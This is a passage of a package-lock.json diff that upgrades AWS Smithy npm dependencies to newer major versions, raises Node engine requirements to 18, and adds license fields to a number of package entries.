+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/shared-ini-file-loader": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/node-http-handler": {
-      "version": "2.1.10",
-      "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-2.1.10.tgz",
-      "integrity": "sha512-lkALAwtN6odygIM4nB8aHDahINM6WXXjNrZmWQAh0RSossySRT2qa31cFv0ZBuAYVWeprskRk13AFvvLmf1WLw==",
+      "version": "4.1.0",
+      "resolved": "https://registry.npmjs.org/@smithy/node-http-handler/-/node-http-handler-4.1.0.tgz",
+      "integrity": "sha512-vqfSiHz2v8b3TTTrdXi03vNz1KLYYS3bhHCDv36FYDqxT7jvTll1mMnCrkD+gOvgwybuunh/2VmvOMqwBegxEg==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/abort-controller": "^2.0.14",
-        "@smithy/protocol-http": "^3.0.10",
-        "@smithy/querystring-builder": "^2.0.14",
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/abort-controller": "^4.0.4",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/querystring-builder": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/property-provider": {
-      "version": "2.0.15",
-      "resolved": "https://registry.npmjs.org/@smithy/property-provider/-/property-provider-2.0.15.tgz",
-      "integrity": "sha512-YbRFBn8oiiC3o1Kn3a4KjGa6k47rCM9++5W9cWqYn9WnkyH+hBWgfJAckuxpyA2Hq6Ys4eFrWzXq6fqHEw7iew==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/@smithy/property-provider/-/property-provider-4.0.4.tgz",
+      "integrity": "sha512-qHJ2sSgu4FqF4U/5UUp4DhXNmdTrgmoAai6oQiM+c5RZ/sbDwJ12qxB1M6FnP+Tn/ggkPZf9ccn4jqKSINaquw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/protocol-http": {
-      "version": "3.0.10",
-      "resolved": "https://registry.npmjs.org/@smithy/protocol-http/-/protocol-http-3.0.10.tgz",
-      "integrity": "sha512-6+tjNk7rXW7YTeGo9qwxXj/2BFpJTe37kTj3EnZCoX/nH+NP/WLA7O83fz8XhkGqsaAhLUPo/bB12vvd47nsmg==",
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/@smithy/protocol-http/-/protocol-http-5.1.2.tgz",
+      "integrity": "sha512-rOG5cNLBXovxIrICSBm95dLqzfvxjEmuZx4KK3hWwPFHGdW3lxY0fZNXfv2zebfRO7sJZ5pKJYHScsqopeIWtQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/querystring-builder": {
-      "version": "2.0.14",
-      "resolved": "https://registry.npmjs.org/@smithy/querystring-builder/-/querystring-builder-2.0.14.tgz",
-      "integrity": "sha512-lQ4pm9vTv9nIhl5jt6uVMPludr6syE2FyJmHsIJJuOD7QPIJnrf9HhUGf1iHh9KJ4CUv21tpOU3X6s0rB6uJ0g==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/@smithy/querystring-builder/-/querystring-builder-4.0.4.tgz",
+      "integrity": "sha512-SwREZcDnEYoh9tLNgMbpop+UTGq44Hl9tdj3rf+yeLcfH7+J8OXEBaMc2kDxtyRHu8BhSg9ADEx0gFHvpJgU8w==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0",
-        "@smithy/util-uri-escape": "^2.0.0",
-        "tslib": "^2.5.0"
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-uri-escape": "^4.0.0",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/querystring-parser": {
-      "version": "2.0.14",
-      "resolved": "https://registry.npmjs.org/@smithy/querystring-parser/-/querystring-parser-2.0.14.tgz",
-      "integrity": "sha512-+cbtXWI9tNtQjlgQg3CA+pvL3zKTAxPnG3Pj6MP89CR3vi3QMmD0SOWoq84tqZDnJCxlsusbgIXk1ngMReXo+A==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/@smithy/querystring-parser/-/querystring-parser-4.0.4.tgz",
+      "integrity": "sha512-6yZf53i/qB8gRHH/l2ZwUG5xgkPgQF15/KxH0DdXMDHjesA9MeZje/853ifkSY0x4m5S+dfDZ+c4x439PF0M2w==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/service-error-classification": {
-      "version": "2.0.7",
-      "resolved": "https://registry.npmjs.org/@smithy/service-error-classification/-/service-error-classification-2.0.7.tgz",
-      "integrity": "sha512-LLxgW12qGz8doYto15kZ4x1rHjtXl0BnCG6T6Wb8z2DI4PT9cJfOSvzbuLzy7+5I24PAepKgFeWHRd9GYy3Z9w==",
+      "version": "4.0.6",
+      "resolved": "https://registry.npmjs.org/@smithy/service-error-classification/-/service-error-classification-4.0.6.tgz",
+      "integrity": "sha512-RRoTDL//7xi4tn5FrN2NzH17jbgmnKidUqd4KvquT0954/i6CXXkh1884jBiunq24g9cGtPBEXlU40W6EpNOOg==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0"
+        "@smithy/types": "^4.3.1"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/shared-ini-file-loader": {
-      "version": "2.2.5",
-      "resolved": "https://registry.npmjs.org/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-2.2.5.tgz",
-      "integrity": "sha512-LHA68Iu7SmNwfAVe8egmjDCy648/7iJR/fK1UnVw+iAOUJoEYhX2DLgVd5pWllqdDiRbQQzgaHLcRokM+UFR1w==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/@smithy/shared-ini-file-loader/-/shared-ini-file-loader-4.0.4.tgz",
+      "integrity": "sha512-63X0260LoFBjrHifPDs+nM9tV0VMkOTl4JRMYNuKh/f5PauSjowTfvF3LogfkWdcPoxsA9UjqEOgjeYIbhb7Nw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/signature-v4": {
-      "version": "2.0.16",
-      "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-2.0.16.tgz",
-      "integrity": "sha512-ilLY85xS2kZZzTb83diQKYLIYALvart0KnBaKnIRnMBHAGEio5aHSlANQoxVn0VsonwmQ3CnWhnCT0sERD8uTg==",
+      "version": "5.1.2",
+      "resolved": "https://registry.npmjs.org/@smithy/signature-v4/-/signature-v4-5.1.2.tgz",
+      "integrity": "sha512-d3+U/VpX7a60seHziWnVZOHuEgJlclufjkS6zhXvxcJgkJq4UWdH5eOBLzHRMx6gXjsdT9h6lfpmLzbrdupHgQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/eventstream-codec": "^2.0.14",
-        "@smithy/is-array-buffer": "^2.0.0",
-        "@smithy/types": "^2.6.0",
-        "@smithy/util-hex-encoding": "^2.0.0",
-        "@smithy/util-middleware": "^2.0.7",
-        "@smithy/util-uri-escape": "^2.0.0",
-        "@smithy/util-utf8": "^2.0.2",
-        "tslib": "^2.5.0"
+        "@smithy/is-array-buffer": "^4.0.0",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-hex-encoding": "^4.0.0",
+        "@smithy/util-middleware": "^4.0.4",
+        "@smithy/util-uri-escape": "^4.0.0",
+        "@smithy/util-utf8": "^4.0.0",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/smithy-client": {
-      "version": "2.1.16",
-      "resolved": "https://registry.npmjs.org/@smithy/smithy-client/-/smithy-client-2.1.16.tgz",
-      "integrity": "sha512-Lw67+yQSpLl4YkDLUzI2KgS8TXclXmbzSeOJUmRFS4ueT56B4pw3RZRF/SRzvgyxM/HxgkUan8oSHXCujPDafQ==",
+      "version": "4.4.6",
+      "resolved": "https://registry.npmjs.org/@smithy/smithy-client/-/smithy-client-4.4.6.tgz",
+      "integrity": "sha512-3wfhywdzB/CFszP6moa5L3lf5/zSfQoH0kvVSdkyK2az5qZet0sn2PAHjcTDiq296Y4RP5yxF7B6S6+3oeBUCQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/middleware-stack": "^2.0.8",
-        "@smithy/types": "^2.6.0",
-        "@smithy/util-stream": "^2.0.21",
-        "tslib": "^2.5.0"
+        "@smithy/core": "^3.7.0",
+        "@smithy/middleware-endpoint": "^4.1.14",
+        "@smithy/middleware-stack": "^4.0.4",
+        "@smithy/protocol-http": "^5.1.2",
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-stream": "^4.2.3",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/types": {
-      "version": "2.6.0",
-      "resolved": "https://registry.npmjs.org/@smithy/types/-/types-2.6.0.tgz",
-      "integrity": "sha512-PgqxJq2IcdMF9iAasxcqZqqoOXBHufEfmbEUdN1pmJrJltT42b0Sc8UiYSWWzKkciIp9/mZDpzYi4qYG1qqg6g==",
+      "version": "4.3.1",
+      "resolved": "https://registry.npmjs.org/@smithy/types/-/types-4.3.1.tgz",
+      "integrity": "sha512-UqKOQBL2x6+HWl3P+3QqFD4ncKq0I8Nuz9QItGv5WuKuMHuuwlhvqcZCoXGfc+P1QmfJE7VieykoYYmrOoFJxA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "tslib": "^2.5.0"
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/url-parser": {
-      "version": "2.0.14",
-      "resolved": "https://registry.npmjs.org/@smithy/url-parser/-/url-parser-2.0.14.tgz",
-      "integrity": "sha512-kbu17Y1AFXi5lNlySdDj7ZzmvupyWKCX/0jNZ8ffquRyGdbDZb+eBh0QnWqsSmnZa/ctyWaTf7n4l/pXLExrnw==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/@smithy/url-parser/-/url-parser-4.0.4.tgz",
+      "integrity": "sha512-eMkc144MuN7B0TDA4U2fKs+BqczVbk3W+qIvcoCY6D1JY3hnAdCuhCZODC+GAeaxj0p6Jroz4+XMUn3PCxQQeQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/querystring-parser": "^2.0.14",
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/querystring-parser": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-base64": {
-      "version": "2.0.1",
-      "resolved": "https://registry.npmjs.org/@smithy/util-base64/-/util-base64-2.0.1.tgz",
-      "integrity": "sha512-DlI6XFYDMsIVN+GH9JtcRp3j02JEVuWIn/QOZisVzpIAprdsxGveFed0bjbMRCqmIFe8uetn5rxzNrBtIGrPIQ==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-base64/-/util-base64-4.0.0.tgz",
+      "integrity": "sha512-CvHfCmO2mchox9kjrtzoHkWHxjHZzaFojLc8quxXY7WAAMAg43nuxwv95tATVgQFNDwd4M9S1qFzj40Ul41Kmg==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/util-buffer-from": "^2.0.0",
-        "tslib": "^2.5.0"
+        "@smithy/util-buffer-from": "^4.0.0",
+        "@smithy/util-utf8": "^4.0.0",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-body-length-browser": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/@smithy/util-body-length-browser/-/util-body-length-browser-2.0.0.tgz",
-      "integrity": "sha512-JdDuS4ircJt+FDnaQj88TzZY3+njZ6O+D3uakS32f2VNnDo3vyEuNdBOh/oFd8Df1zSZOuH1HEChk2AOYDezZg==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-body-length-browser/-/util-body-length-browser-4.0.0.tgz",
+      "integrity": "sha512-sNi3DL0/k64/LO3A256M+m3CDdG6V7WKWHdAiBBMUN8S3hK3aMPhwnPik2A/a2ONN+9doY9UxaLfgqsIRg69QA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "tslib": "^2.5.0"
+        "tslib": "^2.6.2"
+      },
+      "engines": {
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-body-length-node": {
-      "version": "2.1.0",
-      "resolved": "https://registry.npmjs.org/@smithy/util-body-length-node/-/util-body-length-node-2.1.0.tgz",
-      "integrity": "sha512-/li0/kj/y3fQ3vyzn36NTLGmUwAICb7Jbe/CsWCktW363gh1MOcpEcSO3mJ344Gv2dqz8YJCLQpb6hju/0qOWw==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-body-length-node/-/util-body-length-node-4.0.0.tgz",
+      "integrity": "sha512-q0iDP3VsZzqJyje8xJWEJCNIu3lktUGVoSy1KB0UWym2CL1siV3artm+u1DFYTLejpsrdGyCSWBdGNjJzfDPjg==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "tslib": "^2.5.0"
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-buffer-from": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-2.0.0.tgz",
-      "integrity": "sha512-/YNnLoHsR+4W4Vf2wL5lGv0ksg8Bmk3GEGxn2vEQt52AQaPSCuaO5PM5VM7lP1K9qHRKHwrPGktqVoAHKWHxzw==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-buffer-from/-/util-buffer-from-4.0.0.tgz",
+      "integrity": "sha512-9TOQ7781sZvddgO8nxueKi3+yGvkY35kotA0Y6BWRajAv8jjmigQ1sBwz0UX47pQMYXJPahSKEKYFgt+rXdcug==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/is-array-buffer": "^2.0.0",
-        "tslib": "^2.5.0"
+        "@smithy/is-array-buffer": "^4.0.0",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-config-provider": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/@smithy/util-config-provider/-/util-config-provider-2.0.0.tgz",
-      "integrity": "sha512-xCQ6UapcIWKxXHEU4Mcs2s7LcFQRiU3XEluM2WcCjjBtQkUN71Tb+ydGmJFPxMUrW/GWMgQEEGipLym4XG0jZg==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-config-provider/-/util-config-provider-4.0.0.tgz",
+      "integrity": "sha512-L1RBVzLyfE8OXH+1hsJ8p+acNUSirQnWQ6/EgpchV88G6zGBTDPdXiiExei6Z1wR2RxYvxY/XLw6AMNCCt8H3w==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "tslib": "^2.5.0"
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-defaults-mode-browser": {
-      "version": "2.0.20",
-      "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-2.0.20.tgz",
-      "integrity": "sha512-QJtnbTIl0/BbEASkx1MUFf6EaoWqWW1/IM90N++8NNscePvPf77GheYfpoPis6CBQawUWq8QepTP2QUSAdrVkw==",
+      "version": "4.0.22",
+      "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-browser/-/util-defaults-mode-browser-4.0.22.tgz",
+      "integrity": "sha512-hjElSW18Wq3fUAWVk6nbk7pGrV7ZT14DL1IUobmqhV3lxcsIenr5FUsDe2jlTVaS8OYBI3x+Og9URv5YcKb5QA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/property-provider": "^2.0.15",
-        "@smithy/smithy-client": "^2.1.16",
-        "@smithy/types": "^2.6.0",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/smithy-client": "^4.4.6",
+        "@smithy/types": "^4.3.1",
         "bowser": "^2.11.0",
-        "tslib": "^2.5.0"
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">= 10.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-defaults-mode-node": {
-      "version": "2.0.26",
-      "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-2.0.26.tgz",
-      "integrity": "sha512-lGFPOFCHv1ql019oegYqa54BZH7HREw6EBqjDLbAr0wquMX0BDi2sg8TJ6Eq+JGLijkZbJB73m4+aK8OFAapMg==",
+      "version": "4.0.22",
+      "resolved": "https://registry.npmjs.org/@smithy/util-defaults-mode-node/-/util-defaults-mode-node-4.0.22.tgz",
+      "integrity": "sha512-7B8mfQBtwwr2aNRRmU39k/bsRtv9B6/1mTMrGmmdJFKmLAH+KgIiOuhaqfKOBGh9sZ/VkZxbvm94rI4MMYpFjQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/config-resolver": "^2.0.19",
-        "@smithy/credential-provider-imds": "^2.1.2",
-        "@smithy/node-config-provider": "^2.1.6",
-        "@smithy/property-provider": "^2.0.15",
-        "@smithy/smithy-client": "^2.1.16",
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/config-resolver": "^4.1.4",
+        "@smithy/credential-provider-imds": "^4.0.6",
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/property-provider": "^4.0.4",
+        "@smithy/smithy-client": "^4.4.6",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">= 10.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-endpoints": {
-      "version": "1.0.5",
-      "resolved": "https://registry.npmjs.org/@smithy/util-endpoints/-/util-endpoints-1.0.5.tgz",
-      "integrity": "sha512-K7qNuCOD5K/90MjHvHm9kJldrfm40UxWYQxNEShMFxV/lCCCRIg8R4uu1PFAxRvPxNpIdcrh1uK6I1ISjDXZJw==",
+      "version": "3.0.6",
+      "resolved": "https://registry.npmjs.org/@smithy/util-endpoints/-/util-endpoints-3.0.6.tgz",
+      "integrity": "sha512-YARl3tFL3WgPuLzljRUnrS2ngLiUtkwhQtj8PAL13XZSyUiNLQxwG3fBBq3QXFqGFUXepIN73pINp3y8c2nBmA==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/node-config-provider": "^2.1.6",
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/node-config-provider": "^4.1.3",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">= 14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-hex-encoding": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/@smithy/util-hex-encoding/-/util-hex-encoding-2.0.0.tgz",
-      "integrity": "sha512-c5xY+NUnFqG6d7HFh1IFfrm3mGl29lC+vF+geHv4ToiuJCBmIfzx6IeHLg+OgRdPFKDXIw6pvi+p3CsscaMcMA==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-hex-encoding/-/util-hex-encoding-4.0.0.tgz",
+      "integrity": "sha512-Yk5mLhHtfIgW2W2WQZWSg5kuMZCVbvhFmC7rV4IO2QqnZdbEFPmQnCcGMAX2z/8Qj3B9hYYNjZOhWym+RwhePw==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "tslib": "^2.5.0"
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-middleware": {
-      "version": "2.0.7",
-      "resolved": "https://registry.npmjs.org/@smithy/util-middleware/-/util-middleware-2.0.7.tgz",
-      "integrity": "sha512-tRINOTlf1G9B0ECarFQAtTgMhpnrMPSa+5j4ZEwEawCLfTFTavk6757sxhE4RY5RMlD/I3x+DCS8ZUiR8ho9Pw==",
+      "version": "4.0.4",
+      "resolved": "https://registry.npmjs.org/@smithy/util-middleware/-/util-middleware-4.0.4.tgz",
+      "integrity": "sha512-9MLKmkBmf4PRb0ONJikCbCwORACcil6gUWojwARCClT7RmLzF04hUR4WdRprIXal7XVyrddadYNfp2eF3nrvtQ==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-retry": {
-      "version": "2.0.7",
-      "resolved": "https://registry.npmjs.org/@smithy/util-retry/-/util-retry-2.0.7.tgz",
-      "integrity": "sha512-fIe5yARaF0+xVT1XKcrdnHKTJ1Vc4+3e3tLDjCuIcE9b6fkBzzGFY7AFiX4M+vj6yM98DrwkuZeHf7/hmtVp0Q==",
+      "version": "4.0.6",
+      "resolved": "https://registry.npmjs.org/@smithy/util-retry/-/util-retry-4.0.6.tgz",
+      "integrity": "sha512-+YekoF2CaSMv6zKrA6iI/N9yva3Gzn4L6n35Luydweu5MMPYpiGZlWqehPHDHyNbnyaYlz/WJyYAZnC+loBDZg==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/service-error-classification": "^2.0.7",
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/service-error-classification": "^4.0.6",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">= 14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-stream": {
-      "version": "2.0.21",
-      "resolved": "https://registry.npmjs.org/@smithy/util-stream/-/util-stream-2.0.21.tgz",
-      "integrity": "sha512-0BUE16d7n1x7pi1YluXJdB33jOTyBChT0j/BlOkFa9uxfg6YqXieHxjHNuCdJRARa7AZEj32LLLEPJ1fSa4inA==",
+      "version": "4.2.3",
+      "resolved": "https://registry.npmjs.org/@smithy/util-stream/-/util-stream-4.2.3.tgz",
+      "integrity": "sha512-cQn412DWHHFNKrQfbHY8vSFI3nTROY1aIKji9N0tpp8gUABRilr7wdf8fqBbSlXresobM+tQFNk6I+0LXK/YZg==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/fetch-http-handler": "^2.2.7",
-        "@smithy/node-http-handler": "^2.1.10",
-        "@smithy/types": "^2.6.0",
-        "@smithy/util-base64": "^2.0.1",
-        "@smithy/util-buffer-from": "^2.0.0",
-        "@smithy/util-hex-encoding": "^2.0.0",
-        "@smithy/util-utf8": "^2.0.2",
-        "tslib": "^2.5.0"
+        "@smithy/fetch-http-handler": "^5.1.0",
+        "@smithy/node-http-handler": "^4.1.0",
+        "@smithy/types": "^4.3.1",
+        "@smithy/util-base64": "^4.0.0",
+        "@smithy/util-buffer-from": "^4.0.0",
+        "@smithy/util-hex-encoding": "^4.0.0",
+        "@smithy/util-utf8": "^4.0.0",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-uri-escape": {
-      "version": "2.0.0",
-      "resolved": "https://registry.npmjs.org/@smithy/util-uri-escape/-/util-uri-escape-2.0.0.tgz",
-      "integrity": "sha512-ebkxsqinSdEooQduuk9CbKcI+wheijxEb3utGXkCoYQkJnwTnLbH1JXGimJtUkQwNQbsbuYwG2+aFVyZf5TLaw==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-uri-escape/-/util-uri-escape-4.0.0.tgz",
+      "integrity": "sha512-77yfbCbQMtgtTylO9itEAdpPXSog3ZxMe09AEhm0dU0NLTalV70ghDZFR+Nfi1C60jnJoh/Re4090/DuZh2Omg==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "tslib": "^2.5.0"
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-utf8": {
-      "version": "2.0.2",
-      "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-2.0.2.tgz",
-      "integrity": "sha512-qOiVORSPm6Ce4/Yu6hbSgNHABLP2VMv8QOC3tTDNHHlWY19pPyc++fBTbZPtx6egPXi4HQxKDnMxVxpbtX2GoA==",
+      "version": "4.0.0",
+      "resolved": "https://registry.npmjs.org/@smithy/util-utf8/-/util-utf8-4.0.0.tgz",
+      "integrity": "sha512-b+zebfKCfRdgNJDknHCob3O7FpeYQN6ZG6YLExMcasDHsCXlsXCEuiPZeLnJLpwa5dvPetGlnGCiMHuLwGvFow==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/util-buffer-from": "^2.0.0",
-        "tslib": "^2.5.0"
+        "@smithy/util-buffer-from": "^4.0.0",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@smithy/util-waiter": {
-      "version": "2.0.14",
-      "resolved": "https://registry.npmjs.org/@smithy/util-waiter/-/util-waiter-2.0.14.tgz",
-      "integrity": "sha512-Q6gSz4GUNjNGhrfNg+2Mjy+7K4pEI3r82x1b/+3dSc03MQqobMiUrRVN/YK/4nHVagvBELCoXsiHAFQJNQ5BeA==",
+      "version": "4.0.6",
+      "resolved": "https://registry.npmjs.org/@smithy/util-waiter/-/util-waiter-4.0.6.tgz",
+      "integrity": "sha512-slcr1wdRbX7NFphXZOxtxRNA7hXAAtJAXJDE/wdoMAos27SIquVCKiSqfB6/28YzQ8FCsB5NKkhdM5gMADbqxg==",
+      "license": "Apache-2.0",
       "dependencies": {
-        "@smithy/abort-controller": "^2.0.14",
-        "@smithy/types": "^2.6.0",
-        "tslib": "^2.5.0"
+        "@smithy/abort-controller": "^4.0.4",
+        "@smithy/types": "^4.3.1",
+        "tslib": "^2.6.2"
       },
       "engines": {
-        "node": ">=14.0.0"
+        "node": ">=18.0.0"
       }
     },
     "node_modules/@szmarczak/http-timer": {
       "version": "4.0.6",
       "resolved": "https://registry.npmjs.org/@szmarczak/http-timer/-/http-timer-4.0.6.tgz",
       "integrity": "sha512-4BAffykYOgO+5nzBWYwE3W90sBgLJoUPRWWcL8wlyiM8IB8ipJz3UMJ9KXQd1RKQXpKp8Tutn80HZtWsu2u76w==",
+      "license": "MIT",
       "dependencies": {
         "defer-to-connect": "^2.0.0"
       },
@@ -2755,12 +2812,14 @@
     "node_modules/@tokenizer/token": {
       "version": "0.3.0",
       "resolved": "https://registry.npmjs.org/@tokenizer/token/-/token-0.3.0.tgz",
-      "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A=="
+      "integrity": "sha512-OvjF+z51L3ov0OyAU0duzsYuvO01PH7x4t6DJx+guahgTnBHkhJdG7soQeTSFLWN3efnHyibZ4Z8l2EuWwJN3A==",
+      "license": "MIT"
     },
     "node_modules/@types/cacheable-request": {
       "version": "6.0.3",
       "resolved": "https://registry.npmjs.org/@types/cacheable-request/-/cacheable-request-6.0.3.tgz",
       "integrity": "sha512-IQ3EbTzGxIigb1I3qPZc1rWJnH0BmSKv5QYTalEwweFvyBDLSAe24zP0le/hyi7ecGfZVlIVAg4BZqb8WBwKqw==",
+      "license": "MIT",
       "dependencies": {
         "@types/http-cache-semantics": "*",
         "@types/keyv": "^3.1.4",
@@ -2771,77 +2830,95 @@
     "node_modules/@types/http-cache-semantics": {
       "version": "4.0.4",
       "resolved": "https://registry.npmjs.org/@types/http-cache-semantics/-/http-cache-semantics-4.0.4.tgz",
-      "integrity": "sha512-1m0bIFVc7eJWyve9S0RnuRgcQqF/Xd5QsUZAZeQFr1Q3/p9JWoQQEqmVy+DPTNpGXwhgIetAoYF8JSc33q29QA=="
+      "integrity": "sha512-1m0bIFVc7eJWyve9S0RnuRgcQqF/Xd5QsUZAZeQFr1Q3/p9JWoQQEqmVy+DPTNpGXwhgIetAoYF8JSc33q29QA==",
+      "license": "MIT"
